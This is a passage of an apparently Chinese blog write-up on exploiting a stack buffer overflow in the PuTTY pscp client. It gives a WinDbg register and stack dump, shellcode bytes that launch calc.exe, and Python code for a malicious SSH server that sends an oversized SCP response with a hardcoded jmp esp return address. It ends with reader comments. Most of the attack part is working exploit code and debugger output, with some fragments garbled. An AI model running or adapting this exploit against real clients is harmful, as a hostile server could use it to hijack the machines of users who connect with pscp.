eax=00000000 ebx=00000000 ecx=00187dc4 edx=00000000 esi=005211cd edi=00000000
eip=7ffa4512 esp=00187e1c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
7ffa4512 ??              ???
0:000> dd esp
00187e1c  ddccbbaa 90909090 90909090 90909090
00187e2c  90909090 90909090 90909090 90909090
00187e3c  90909090 90909090 90909090 90909090
00187e4c  90909090 90909090 90909090 90909090
00187e5c  90909090 90909090 90909090 90909090
00187e6c  90909090 cccccccc cccccccc cccccccc
00187e7c  cccccccc cccccccc cccccccc cccccccc
00187e8c  0000cccc 00000000 00000000 00000000

可以看到直接拼接在7ffa4512后面即可,这里之所以7ffa4512处没有指令是因为我用了win7 64位版本,在真正漏洞利用过程中,最好根据想溢出的系统来进行shellcode和jmp esp地址的修改。接下来,我们直接构造畸形字符串。

    shellcode  = ("\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0"
"\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00")
    jmpesp = ''

        LOG.info("REQUEST: EXEC %s %s"%(channel,command))

        transport =  channel.get_transport()

        try:

            if "putty" in transport.CONN_INFO['client'].lower() \

                and "scp -f" in command:

                LOG.warning("Oh, hello putty/pscp %s, nice to meet you!"%transport.CONN_INFO['client'])

                # hello putty

                # putty pscp stack buffer overwrite, EIP

                rep_time = "T1444608444 0 1444608444 0\n"

                rep_perm_size = "C755 %s \n"%('A'*84+'\x12\x45\xfa\x7f'+ shellcode + '\x90'*30)

再次执行exp.py,另一边用pscp连接,计算器弹出。

Comments
Write a Comment
  • 厉害了,shl总,不仅会黑客,还会摄影!!

  • test reply

    "但我在跟踪的过程中,发现windbg并不能有效的中断在sscanf的位置"

    不分析一下原因?